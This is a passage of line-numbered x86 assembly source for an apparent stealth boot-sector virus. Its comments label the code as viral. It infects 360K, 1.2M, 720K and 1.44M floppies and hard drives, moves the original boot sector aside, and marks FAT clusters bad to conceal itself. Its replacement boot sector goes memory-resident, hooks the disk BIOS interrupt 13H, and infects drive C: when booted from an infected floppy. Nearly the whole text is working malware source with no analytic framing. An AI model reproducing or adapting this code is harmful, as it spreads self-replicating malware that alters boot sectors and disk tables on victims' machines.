  1281.         push    ax                              ;at Track 40, Head 1, Sector 6
  1282.  
  1283.         mov     dl,al
  1284.  
  1285.         mov     dh,1                            ;head 1
  1286.  
  1287.         mov     cx,2806H                        ;track 40, sector 6
  1288.  
  1289.         mov     ax,0301H                        ;BIOS write, for 1 sector
  1290.  
  1291.         pushf
  1292.  
  1293.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1294.  
  1295.         pop     ax
  1296.  
  1297.         jc      INF360_EXIT
  1298.  
  1299.  
  1300.  
  1301.         mov     di,OFFSET BOOT_DATA
  1302.  
  1303. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  1304.  
  1305.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  1306.  
  1307.  
  1308.  
  1309.         mov     cx,32H / 2                      ;copy boot sector disk info over
  1310.  
  1311.         rep     movsw                           ;to new boot sector
  1312.  
  1313.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  1314.  
  1315.         mov     BYTE PTR [BOOT_START + 1FDH],al
  1316.  
  1317.         mov     BYTE PTR [DR_FLAG],0            ;set proper drive type
  1318.  
  1319.  
  1320.  
  1321.         push    ax                              ;write new boot sector to disk
  1322.  
  1323.         mov     bx,OFFSET BOOT_START            ;buffer for the new boot sector
  1324.  
  1325.         call    PUT_BOOT_SEC                    ;go write it to disk
  1326.  
  1327.         pop     ax
  1328.  
  1329.         jc      INF360_EXIT
  1330.  
  1331.  
  1332.  
  1333.         mov     bx,OFFSET STEALTH               ;buffer for 5 secs of stealth
  1334.  
  1335.         mov     dl,al                           ;drive to write to
  1336.  
  1337.         mov     dh,1                            ;head 1
  1338.  
  1339.         mov     cx,2801H                        ;track 40, sector 1
  1340.  
  1341.         mov     ax,0305H                        ;write 5 sectors
  1342.  
  1343.         pushf
  1344.  
  1345.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1346.  
  1347. INF360_EXIT:
  1348.  
  1349.         ret                                     ;all done
  1350.  
  1351.  
  1352.  
  1353.  
  1354.  
  1355. ;This routine formats Track 40, Head 1 so we can infect a 360k diskette.
  1356.  
  1357. FORMAT_360:
  1358.  
  1359.         push    ax                              ;save drive number in al
  1360.  
  1361.         mov     dl,al                           ;dl=drive no.
  1362.  
  1363.         mov     dh,1                            ;head 0
  1364.  
  1365.         mov     cx,2801H                        ;track 40, start at sector 1
  1366.  
  1367.         mov     ax,0506H                        ;format 6 sectors
  1368.  
  1369.         mov     bx,OFFSET FMT_360               ;format info for this sector
  1370.  
  1371.         pushf
  1372.  
  1373.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1374.  
  1375.         pop     ax
  1376.  
  1377.         ret
  1378.  
  1379.  
  1380.  
  1381.  
  1382.  
  1383. ;*******************************************************************************
  1384.  
  1385. ;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
  1386.  
  1387. ;the same as the 360K case, except we format Track 80 instead of track 40.
  1388.  
  1389.  
  1390.  
  1391. INFECT_12M:
  1392.  
  1393.         call    FORMAT_12M                      ;format the required sectors
  1394.  
  1395.         jc      INF12M_EXIT
  1396.  
  1397.  
  1398.  
  1399.         mov     bx,OFFSET SCRATCHBUF            ;and go boot sector at
  1400.  
  1401.         push    ax
  1402.  
  1403.         mov     dl,al
  1404.  
  1405.         mov     dh,1                            ;head 1
  1406.  
  1407.         mov     cx,5006H                        ;track 80, sector 6
  1408.  
  1409.         mov     ax,0301H                        ;BIOS write, for 1 sector
  1410.  
  1411.         pushf
  1412.  
  1413.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1414.  
  1415.         pop     ax
  1416.  
  1417.         jc      INF12M_EXIT
  1418.  
  1419.  
  1420.  
  1421.         mov     di,OFFSET BOOT_DATA
  1422.  
  1423. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  1424.  
  1425.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  1426.  
  1427.  
  1428.  
  1429.         mov     cx,32H / 2                      ;copy boot sector disk info over
  1430.  
  1431.         rep     movsw                           ;to new (viral) boot sector
  1432.  
  1433.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  1434.  
  1435.         mov     BYTE PTR [BOOT_START + 1FDH],al
  1436.  
  1437.         mov     BYTE PTR [DR_FLAG],1            ;set proper diskette type
  1438.  
  1439.  
  1440.  
  1441.         push    ax                              ;and write viral boot sec to disk
  1442.  
  1443.         mov     bx,OFFSET BOOT_START            ;buffer for viral boot sector
  1444.  
  1445.         call    PUT_BOOT_SEC                    ;go write it to disk
  1446.  
  1447.         pop     ax
  1448.  
  1449.         jc      INF12M_EXIT
  1450.  
  1451.  
  1452.  
  1453.         mov     bx,OFFSET STEALTH               ;buffer for 5 secs of stealth
  1454.  
  1455.         mov     dl,al                           ;drive to write to
  1456.  
  1457.         mov     dh,1                            ;head 1
  1458.  
  1459.         mov     cx,5001H                        ;track 80, sector 1
  1460.  
  1461.         mov     ax,0305H                        ;write 5 sectors
  1462.  
  1463.         pushf
  1464.  
  1465.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1466.  
  1467. INF12M_EXIT:
  1468.  
  1469.         ret                                     ;all done
  1470.  
  1471.  
  1472.  
  1473.  
  1474.  
  1475. ;Format Track 80, Head 1 so we can infect a 1.2 Meg diskette.
  1476.  
  1477. FORMAT_12M:
  1478.  
  1479.         push    ax
  1480.  
  1481.         mov     dl,al                           ;set drive number
  1482.  
  1483.         mov     dh,1                            ;head 1
  1484.  
  1485.         mov     cx,5001H                        ;track 80, start at sector 1
  1486.  
  1487.         mov     ax,0506H                        ;format 6 sectors
  1488.  
  1489.         mov     bx,OFFSET FMT_12M               ;format info for this sector
  1490.  
  1491.         pushf
  1492.  
  1493.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1494.  
  1495.         pop     ax
  1496.  
  1497.         ret
  1498.  
  1499.  
  1500.  
  1501.  
  1502.  
  1503. ;*******************************************************************************
  1504.  
  1505. ;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
  1506.  
  1507. ;drives. The virus goes in an existing data area on the disk, so no formatting
  1508.  
  1509. ;is required. Instead, we 1) Read the boot sector and put it at Track 79, Head 1
  1510.  
  1511. ;sector 9, 2) Put the five sectors of stealth routines at Track 79, Head 1,
  1512.  
  1513. ;sector 4-8, 3) Put the viral boot sector at Track 0, Head 0, Sector 1, and
  1514.  
  1515. ;4) Mark the diskette's FAT to indicate that the last three clusters are bad,
  1516.  
  1517. ;so that DOS will not attempt to overwrite the virus code.
  1518.  
  1519.  
  1520.  
  1521. INFECT_720K:
  1522.  
  1523.         mov     bx,OFFSET SCRATCHBUF            ;go write boot sec at
  1524.  
  1525.         push    ax
  1526.  
  1527.         mov     dl,al
  1528.  
  1529.         mov     dh,1                            ;head 1
  1530.  
  1531.         mov     cx,4F09H                        ;track 79, sector 9
  1532.  
  1533.         mov     ax,0301H                        ;BIOS write, for 1 sector
  1534.  
  1535.         pushf
  1536.  
  1537.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1538.  
  1539.         pop     ax
  1540.  
  1541.         jc      INF720K_EXIT                    ;exit on error
  1542.  
  1543.  
  1544.  
  1545.         push    ax
  1546.  
  1547.         mov     di,OFFSET BOOT_DATA
  1548.  
  1549. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  1550.  
  1551.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  1552.  
  1553.  
  1554.  
  1555.         mov     cx,32H / 2                      ;copy boot sector disk info over
  1556.  
  1557.         rep     movsw                           ;to new boot sector
  1558.  
  1559.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  1560.  
  1561.         mov     BYTE PTR [BOOT_START + 1FDH],al
  1562.  
  1563.         mov     BYTE PTR [DR_FLAG],2            ;set proper diskette type
  1564.  
  1565.         pop     ax
  1566.  
  1567.  
  1568.  
  1569.         push    ax                              ;write new boot sector to disk
  1570.  
  1571.         mov     bx,OFFSET BOOT_START
  1572.  
  1573.         call    PUT_BOOT_SEC                    ;go write it
  1574.  
  1575.         pop     ax
  1576.  
  1577.         jc      INF720K_EXIT
  1578.  
  1579.  
  1580.  
  1581.         mov     bx,OFFSET STEALTH               ;buffer for 5 sectors of stealth
  1582.  
  1583.         mov     dl,al                           ;drive to write to
  1584.  
  1585.         mov     dh,1                            ;head 1
  1586.  
  1587.         mov     cx,4F04H                        ;track 79, sector 4
  1588.  
  1589.         mov     ax,0305H                        ;write 5 sectors
  1590.  
  1591.         pushf
  1592.  
  1593.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1594.  
  1595.         jc      INF720K_EXIT
  1596.  
  1597.  
  1598.  
  1599.         mov     bx,OFFSET SCRATCHBUF            ;now modify the FAT
  1600.  
  1601.         mov     ax,0201H                        ;first read 1 sector
  1602.  
  1603.         mov     cx,4                            ;track 0, sector 4, head 0
  1604.  
  1605.         mov     dh,0
  1606.  
  1607.         pushf
  1608.  
  1609.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1610.  
  1611.         jc      INF720K_EXIT
  1612.  
  1613.  
  1614.  
  1615.         mov     di,OFFSET SCRATCHBUF + 44       ;modify the FAT in RAM
  1616.  
  1617.         mov     ax,7FF7H                        ;marking the last 3 clusters
  1618.  
  1619.         stosw                                   ;as bad
  1620.  
  1621.         mov     ax,0F7FFH
  1622.  
  1623.         stosw
  1624.  
  1625.         mov     ax,0FFFH
  1626.  
  1627.         stosw
  1628.  
  1629.  
  1630.  
  1631.         mov     ax,0301H                        ;now write the FAT back to disk
  1632.  
  1633.         mov     cx,4                            ;at track 0, sector 4, head 0
  1634.  
  1635.         pushf
  1636.  
  1637.         call    DWORD PTR [OLD_13H]
  1638.  
  1639.         jc      INF720K_EXIT
  1640.  
  1641.  
  1642.  
  1643.         mov     ax,0301H                        ;do second FAT too
  1644.  
  1645.         mov     cx,7                            ;at track 0, sector 7, head 0
  1646.  
  1647.         pushf
  1648.  
  1649.         call    DWORD PTR [OLD_13H]
  1650.  
  1651.  
  1652.  
  1653. INF720K_EXIT:
  1654.  
  1655.         ret                                     ;all done
  1656.  
  1657.  
  1658.  
  1659.  
  1660.  
  1661. ;*******************************************************************************
  1662.  
  1663. ;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
  1664.  
  1665. ;same as infecting a 720K diskette, except that the virus is placed in sectors
  1666.  
  1667. ;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
  1668.  
  1669.  
  1670.  
  1671. INFECT_144M:
  1672.  
  1673.         mov     bx,OFFSET SCRATCHBUF            ;go write boot sec at
  1674.  
  1675.         push    ax
  1676.  
  1677.         mov     dl,al
  1678.  
  1679.         mov     dh,1                            ;head 1
  1680.  
  1681.         mov     cx,4F12H                        ;track 79, sector 18
  1682.  
  1683.         mov     ax,0301H                        ;BIOS write, for 1 sector
  1684.  
  1685.         pushf
  1686.  
  1687.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1688.  
  1689.         pop     ax
  1690.  
  1691.         jc      INF144M_EXIT
  1692.  
  1693.  
  1694.  
  1695.         push    ax
  1696.  
  1697.         mov     di,OFFSET BOOT_DATA
  1698.  
  1699. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  1700.  
  1701.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  1702.  
  1703.  
  1704.  
  1705.         mov     cx,32H / 2                      ;copy boot sector disk info over
  1706.  
  1707.         rep     movsw                           ;to new boot sector
  1708.  
  1709.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  1710.  
  1711.         mov     BYTE PTR [BOOT_START + 1FDH],al
  1712.  
  1713.         mov     BYTE PTR [DR_FLAG],3            ;set proper diskette type
  1714.  
  1715.         pop     ax
  1716.  
  1717.  
  1718.  
  1719.         push    ax                              ;and write new boot sector to disk
  1720.  
  1721.         mov     bx,OFFSET BOOT_START
  1722.  
  1723.         call    PUT_BOOT_SEC                    ;go write it to disk
  1724.  
  1725.         pop     ax
  1726.  
  1727.         jc      INF144M_EXIT
  1728.  
  1729.  
  1730.  
  1731.         mov     bx,OFFSET STEALTH               ;buffer for 5 sectors of stealth
  1732.  
  1733.         mov     dl,al                           ;drive to write to
  1734.  
  1735.         mov     dh,1                            ;head 1
  1736.  
  1737.         mov     cx,4F0DH                        ;track 79, sector 13
  1738.  
  1739.         mov     ax,0305H                        ;write 5 sectors
  1740.  
  1741.         pushf
  1742.  
  1743.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1744.  
  1745.  
  1746.  
  1747.         mov     bx,OFFSET SCRATCHBUF            ;now modify the FAT
  1748.  
  1749.         mov     ax,0201H                        ;first read 1 sector
  1750.  
  1751.         mov     cx,0AH                          ;track 0, sector 10, head 0
  1752.  
  1753.         mov     dh,0
  1754.  
  1755.         pushf
  1756.  
  1757.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1758.  
  1759.         jc      INF144M_EXIT
  1760.  
  1761.  
  1762.  
  1763.         mov     di,OFFSET SCRATCHBUF + 0A8H     ;modify the FAT in RAM
  1764.  
  1765.         mov     ax,es:[di]
  1766.  
  1767.         and     ax,000FH
  1768.  
  1769.         add     ax,0FF70H
  1770.  
  1771.         stosw
  1772.  
  1773.         mov     ax,07FF7H                       ;marking the last 6 clusters
  1774.  
  1775.         stosw                                   ;as bad
  1776.  
  1777.         mov     ax,0F7FFH
  1778.  
  1779.         stosw
  1780.  
  1781.         mov     ax,0FF7FH
  1782.  
  1783.         stosw
  1784.  
  1785.         mov     ax,0FF7H
  1786.  
  1787.         stosw
  1788.  
  1789.  
  1790.  
  1791.         mov     ax,0301H                        ;now write the FAT back to disk
  1792.  
  1793.         mov     cx,0AH                          ;at track 0, sector 10, head 0
  1794.  
  1795.         pushf
  1796.  
  1797.         call    DWORD PTR [OLD_13H]
  1798.  
  1799.         jc      INF144M_EXIT
  1800.  
  1801.  
  1802.  
  1803.         mov     ax,0301H                        ;do second FAT too
  1804.  
  1805.         mov     cx,1                            ;at track 0, sector 1, head 1
  1806.  
  1807.         mov     dh,1
  1808.  
  1809.         pushf
  1810.  
  1811.         call    DWORD PTR [OLD_13H]
  1812.  
  1813.  
  1814.  
  1815.  
  1816.  
  1817. INF144M_EXIT:
  1818.  
  1819.         ret                                     ;all done
  1820.  
  1821.  
  1822.  
  1823.  
  1824.  
  1825. ;*******************************************************************************
  1826.  
  1827. ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
  1828.  
  1829. ;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
  1830.  
  1831. ;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
  1832.  
  1833. ;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
  1834.  
  1835. ;routines to Track 0, Head 0, Sector 2, 5 sectors total.
  1836.  
  1837.  
  1838.  
  1839. INFECT_HARD:
  1840.  
  1841.         mov     al,80H                          ;set drive type flag to hard disk
  1842.  
  1843.         mov     BYTE PTR [DR_FLAG],al           ;cause that's where it's going
  1844.  
  1845.  
  1846.  
  1847.         call    GET_BOOT_SEC                    ;read the present boot sector
  1848.  
  1849.  
  1850.  
  1851.         mov     bx,OFFSET SCRATCHBUF            ;and go write it at
  1852.  
  1853.         push    ax
  1854.  
  1855.         mov     dl,al
  1856.  
  1857.         mov     dh,0                            ;head 0
  1858.  
  1859.         mov     cx,0007H                        ;track 0, sector 7
  1860.  
  1861.         mov     ax,0301H                        ;BIOS write, for 1 sector
  1862.  
  1863.         pushf
  1864.  
  1865.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1866.  
  1867.         pop     ax
  1868.  
  1869.  
  1870.  
  1871.         push    ax
  1872.  
  1873.         mov     di,OFFSET BOOT_DATA
  1874.  
  1875. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  1876.  
  1877.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  1878.  
  1879.  
  1880.  
  1881.         mov     cx,32H / 2                      ;copy boot sector disk info over
  1882.  
  1883.         rep     movsw                           ;to new boot sector
  1884.  
  1885.         mov     di,OFFSET BOOT_START + 200H - 42H
  1886.  
  1887.         mov     si,OFFSET SCRATCHBUF + 200H - 42H
  1888.  
  1889.         mov     cx,21H                          ;copy partition table
  1890.  
  1891.         rep     movsw                           ;to new boot sector too!
  1892.  
  1893.         pop     ax
  1894.  
  1895.  
  1896.  
  1897.         push    ax                              ;and write viral boot sector
  1898.  
  1899.         mov     bx,OFFSET BOOT_START
  1900.  
  1901.         call    PUT_BOOT_SEC
  1902.  
  1903.         pop     ax
  1904.  
  1905.  
  1906.  
  1907.         mov     bx,OFFSET STEALTH               ;buffer for 5 sectors of stealth
  1908.  
  1909.         mov     dl,al                           ;drive to write to
  1910.  
  1911.         mov     dh,0                            ;head 0
  1912.  
  1913.         mov     cx,0002H                        ;track 0, sector 2
  1914.  
  1915.         mov     ax,0305H                        ;write 5 sectors
  1916.  
  1917.         pushf
  1918.  
  1919.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1920.  
  1921.  
  1922.  
  1923.         ret
  1924.  
  1925.  
  1926.  
  1927.  
  1928.  
  1929. ;*******************************************************************************
  1930.  
  1931. ;This routine determines if a hard drive C: exists, and returns NZ if it does,
  1932.  
  1933. ;Z if it does not.
  1934.  
  1935. IS_HARD_THERE:
  1936.  
  1937.         push    ds
  1938.  
  1939.         xor     ax,ax
  1940.  
  1941.         mov     ds,ax
  1942.  
  1943.         mov     bx,475H                         ;Get hard disk count from bios
  1944.  
  1945.         mov     al,[bx]                         ;put it in al
  1946.  
  1947.         pop     ds
  1948.  
  1949.         cmp     al,0                            ;and see if al=0 (no drives)
  1950.  
  1951.         ret
  1952.  
  1953.  
  1954.  
  1955.  
  1956.  
  1957. ;*******************************************************************************
  1958.  
  1959. ;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
  1960.  
  1961. ;prserve AL!
  1962.  
  1963.  
  1964.  
  1965. GET_BOOT_SEC:
  1966.  
  1967.         push    ax
  1968.  
  1969.         mov     bx,OFFSET SCRATCHBUF            ;buffer for the boot sector
  1970.  
  1971.         mov     dl,al                           ;this is the drive to read from
  1972.  
  1973.         mov     dh,0                            ;head 0
  1974.  
  1975.         mov     ch,0                            ;track 0
  1976.  
  1977.         mov     cl,1                            ;sector 1
  1978.  
  1979.         mov     al,1                            ;read 1 sector
  1980.  
  1981.         mov     ah,2                            ;BIOS read function
  1982.  
  1983.         pushf
  1984.  
  1985.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1986.  
  1987.         pop     ax
  1988.  
  1989.         ret
  1990.  
  1991.  
  1992.  
  1993.  
  1994.  
  1995. ;*******************************************************************************
  1996.  
  1997. ;This routine writes the data at es:bx to the drive in al at Track 0,
  1998.  
  1999. ;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
  2000.  
  2001.  
  2002.  
  2003. PUT_BOOT_SEC:
  2004.  
  2005.         mov     dl,al                           ;this is the drive to write to
  2006.  
  2007.         mov     dh,0                            ;head 0
  2008.  
  2009.         mov     ch,0                            ;track 0
  2010.  
  2011.         mov     cl,1                            ;sector 1
  2012.  
  2013.         mov     al,1                            ;read 1 sector
  2014.  
  2015.         mov     ah,3                            ;BIOS write function
  2016.  
  2017.         pushf
  2018.  
  2019.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  2020.  
  2021.         ret
  2022.  
  2023.  
  2024.  
  2025.  
  2026.  
  2027. ;*******************************************************************************
  2028.  
  2029. ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
  2030.  
  2031. ;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
  2032.  
  2033. ;are checked to see if they are identical. If so, it must be the viral boot
  2034.  
  2035. ;sector. It is assumed that es and ds are properly set to this segment when
  2036.  
  2037. ;this is called.
  2038.  
  2039.  
  2040.  
  2041. IS_VBS:
  2042.  
  2043.         push    si                              ;save these
  2044.  
  2045.         push    di
  2046.  
  2047.         cld
  2048.  
  2049.         mov     di,OFFSET BOOT                  ;set up for a compare
  2050.  
  2051. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
  2052.  
  2053.     mov    si,OFFSET SB_BOOT        ;required instead of ^ for A86
  2054.  
  2055.  
  2056.  
  2057.         mov     cx,15
  2058.  
  2059.         repz    cmpsw                           ;compare 30 bytes
  2060.  
  2061.         pop     di                              ;restore these
  2062.  
  2063.         pop     si
  2064.  
  2065.         ret                                     ;and return with z properly set
  2066.  
  2067.  
  2068.  
  2069.  
  2070.  
  2071. ;*******************************************************************************
  2072.  
  2073. ;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES                              *
  2074.  
  2075. ;*******************************************************************************
  2076.  
  2077.  
  2078.  
  2079.         ORG     7A00H
  2080.  
  2081.  
  2082.  
  2083. SCRATCHBUF:                       ;a total of 512 bytes
  2084.  
  2085.     DB    3 dup (0)
  2086.  
  2087. SB_BOOT_DATA:                    ;with references to correspond
  2088.  
  2089.     DB    32H dup (0)            ;to various areas in the boot
  2090.  
  2091. SB_DR_FLAG:                    ;sector at 7C00
  2092.  
  2093.     DB    0                ;these are only needed by A86
  2094.  
  2095. SB_BOOT:                    ;tasm and masm will let you
  2096.  
  2097.         DB      458 dup (0)            ;just do "db 512 dup (0)"
  2098.  
  2099.  
  2100.  
  2101.  
  2102.  
  2103. ;*******************************************************************************
  2104.  
  2105. ;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR                                 *
  2106.  
  2107. ;*******************************************************************************
  2108.  
  2109.  
  2110.  
  2111.         ORG     7C00H                           ;Starting location for boot sec
  2112.  
  2113.  
  2114.  
  2115.  
  2116.  
  2117. BOOT_START:
  2118.  
  2119.         jmp     SHORT BOOT                      ;jump over data area
  2120.  
  2121.         db      090H                            ;an extra byte for near jump
  2122.  
  2123.  
  2124.  
  2125.  
  2126.  
  2127. BOOT_DATA:
  2128.  
  2129.         db      32H dup (?)                     ;data area and default dbt
  2130.  
  2131.                                                 ;(copied from orig boot sector)
  2132.  
  2133.  
  2134.  
  2135. DR_FLAG:DB      0                               ;Drive type flag, 0=360K Floppy
  2136.  
  2137.                                                 ;                 1=1.2M Floppy
  2138.  
  2139.                                                 ;                 2=720K Floppy
  2140.  
  2141.                                                 ;                 3=1.4M Floppy
  2142.  
  2143.                                                 ;                 80H=Hard Disk
  2144.  
  2145.  
  2146.  
  2147. ;The boot sector code starts here
  2148.  
  2149. BOOT:
  2150.  
  2151.         cli                                     ;interrupts off
  2152.  
  2153.         xor     ax,ax
  2154.  
  2155.         mov     ss,ax
  2156.  
  2157.         mov     ds,ax
  2158.  
  2159.         mov     es,ax                           ;set up segment registers
  2160.  
  2161.         mov     sp,OFFSET BOOT_START            ;and stack pointer
  2162.  
  2163.         sti
  2164.  
  2165.  
  2166.  
  2167.         mov     ax,[MEMSIZE]                    ;get size of memory available
  2168.  
  2169.         mov     cl,6                            ;on this system, in Kilobytes
  2170.  
  2171.         shl     ax,cl                           ;convert KBytes into a segment
  2172.  
  2173.         sub     ax,7E0H                         ;subtract enough so this code
  2174.  
  2175.         mov     es,ax                           ;will have the right offset to
  2176.  
  2177.         sub     [MEMSIZE],4                     ;go memory resident in high ram
  2178.  
  2179.  
  2180.  
  2181. GO_RELOC:
  2182.  
  2183.         mov     si,OFFSET BOOT_START            ;set up ds:si and es:di in order
  2184.  
  2185.         mov     di,si                           ;to relocate this code
  2186.  
  2187.         mov     cx,256                          ;to high memory
  2188.  
  2189.         rep     movsw                           ;and go move this sector
  2190.  
  2191.         push    es
  2192.  
  2193.         mov     ax,OFFSET RELOC
  2194.  
  2195.         push    ax                              ;push new far @RELOC onto stack
  2196.  
  2197.         retf                                    ;and go there with retf
  2198.  
  2199.  
  2200.  
  2201. RELOC:                                          ;now we're in high memory
  2202.  
  2203.         push    es                              ;so let's install the virus
  2204.  
  2205.         pop     ds
  2206.  
  2207.         mov     bx,OFFSET STEALTH               ;set up buffer to read virus
  2208.  
  2209.         mov     al,BYTE PTR [DR_FLAG]           ;drive number
  2210.  
  2211.         cmp     al,0                            ;Load from proper drive type
  2212.  
  2213.         jz      LOAD_360
  2214.  
  2215.         cmp     al,1
  2216.  
  2217.         jz      LOAD_12M
  2218.  
  2219.         cmp     al,2
  2220.  
  2221.         jz      LOAD_720
  2222.  
  2223.         cmp     al,3
  2224.  
  2225.         jz      LOAD_14M                        ;if none of the above,
  2226.  
  2227.                                                 ;then it's a hard disk
  2228.  
  2229.  
  2230.  
  2231. LOAD_HARD:                                      ;load virus from hard disk
  2232.  
  2233.         mov     dx,80H                          ;hard drive 80H, head 0,
  2234.  
  2235.         mov     ch,0                            ;track 0,
  2236.  
  2237.         mov     cl,2                            ;start at sector 2
  2238.  
  2239.         jmp     SHORT LOAD1
  2240.  
  2241.  
  2242.  
  2243. LOAD_360:                                       ;load virus from 360 K floppy
  2244.  
  2245.         mov     ch,40                           ;track 40
  2246.  
  2247.         mov     cl,1                            ;start at sector 1
  2248.  
  2249.         jmp     SHORT LOAD
  2250.  
  2251.  
  2252.  
  2253. LOAD_12M:                                       ;load virus from 1.2 Meg floppy
  2254.  
  2255.         mov     ch,80                           ;track 80
  2256.  
  2257.         mov     cl,1                            ;start at sector 1
  2258.  
  2259.         jmp     SHORT LOAD
  2260.  
  2261.  
  2262.  
  2263. LOAD_720:                                       ;load virus from 720K floppy
  2264.  
  2265.         mov     ch,79                           ;track 79
  2266.  
  2267.         mov     cl,4                            ;start at sector 4
  2268.  
  2269.         jmp     SHORT LOAD                      ;go do it
  2270.  
  2271.  
  2272.  
  2273. LOAD_14M:                                       ;load from 1.44 Meg floppy
  2274.  
  2275.         mov     ch,79                           ;track 79
  2276.  
  2277.         mov     cl,13                           ;start at sector 13
  2278.  
  2279. ;       jmp     SHORT LOAD                      ;go do it
  2280.  
  2281.  
  2282.  
  2283. LOAD:   mov     dx,100H                         ;disk 0, head 1
  2284.  
  2285. LOAD1:  mov     ax,206H                         ;read 6 sectors
  2286.  
  2287.         int     13H                             ;call BIOS to read it
  2288.  
  2289.  
  2290.  
  2291. MOVE_OLD_BS:
  2292.  
  2293.         xor     ax,ax                           ;now move old boot sector into
  2294.  
  2295.         mov     es,ax                           ;low memory
  2296.  
  2297.         mov     si,OFFSET SCRATCHBUF            ;at 0000:7C00
  2298.  
  2299.         mov     di,OFFSET BOOT_START
  2300.  
  2301.         mov     cx,256
  2302.  
  2303.         rep     movsw
  2304.  
  2305.  
  2306.  
  2307. SET_SEGMENTS:                                   ;change segments around a bit
  2308.  
  2309.         cli
  2310.  
  2311.         mov     ax,cs
  2312.  
  2313.         mov     ss,ax
  2314.  
  2315.         mov     sp,OFFSET STEALTH               ;set up the stack for the virus
  2316.  
  2317.         push    cs                              ;and also the es register
  2318.  
  2319.         pop     es
  2320.  
  2321.  
  2322.  
  2323. INSTALL_INT13H:                                 ;now hook the Disk BIOS int
  2324.  
  2325.         xor     ax,ax
  2326.  
  2327.         mov     ds,ax
  2328.  
  2329.         mov     si,13H*4                        ;save the old int 13H vector
  2330.  
  2331.         mov     di,OFFSET OLD_13H
  2332.  
  2333.         movsw
  2334.  
  2335.         movsw
  2336.  
  2337.         mov     ax,OFFSET INT_13H               ;and set up new interrupt 13H
  2338.  
  2339.         mov     bx,13H*4                        ;which everybody will have to
  2340.  
  2341.         mov     ds:[bx],ax                      ;use from now on
  2342.  
  2343.         mov     ax,es
  2344.  
  2345.         mov     ds:[bx+2],ax
  2346.  
  2347.         sti
  2348.  
  2349.  
  2350.  
  2351. CHECK_DRIVE:
  2352.  
  2353.         push    cs                              ;set ds to point here now
  2354.  
  2355.         pop     ds
  2356.  
  2357.         cmp     BYTE PTR [DR_FLAG],80H          ;if booting from a hard drive,
  2358.  
  2359.         jz      DONE                            ;nothing else needed at boot
  2360.  
  2361.  
  2362.  
  2363. FLOPPY_DISK:                                    ;if loading from a floppy drive,
  2364.  
  2365.         call    IS_HARD_THERE                   ;see if a hard disk exists here
  2366.  
  2367.         jz      DONE                            ;no hard disk, all done booting
  2368.  
  2369.         mov     al,80H                          ;else load boot sector from C:
  2370.  
  2371.         call    GET_BOOT_SEC                    ;into SCRATCHBUF
  2372.  
  2373.         call    IS_VBS                          ;and see if C: is infected
  2374.  
  2375.         jz      DONE                            ;yes, all done booting
  2376.  
  2377.         call    INFECT_HARD                     ;else go infect hard drive C:
  2378.  
  2379.  
  2380.  
  2381. DONE:
  2382.  
  2383.         mov     si,OFFSET PART                  ;clean partition data out of
  2384.  
  2385.         mov     di,OFFSET PART+1                ;memory image of boot sector
  2386.  
  2387.         mov     cx,3FH                          ;so it doesn't get spread to
  2388.  
  2389.         mov     BYTE PTR [si],0                 ;floppies when we infect them
  2390.  
  2391.         rep     movsb
  2392.  
  2393.  
  2394.  
  2395.         xor     ax,ax                           ;now go execute old boot sector
  2396.  
  2397.         push    ax                              ;at 0000:7C00
  2398.  
  2399.         mov     ax,OFFSET BOOT_START
  2400.  
  2401.         push    ax
  2402.  
  2403.         retf
  2404.  
  2405.  
  2406.  
  2407.  
  2408.  
  2409.         ORG     7DBEH
  2410.  
  2411.  
  2412.  
  2413. PART:   DB      40H dup (?)                     ;partition table goes here
  2414.  
  2415.  
  2416.  
  2417.         ORG     7DFEH
  2418.  
  2419.  
  2420.  
  2421.         DB      55H,0AAH                        ;boot sector ID goes here
  2422.  
  2423.  
  2424.  
  2425. ENDCODE:                                        ;label for the end of boot sec
  2426.  
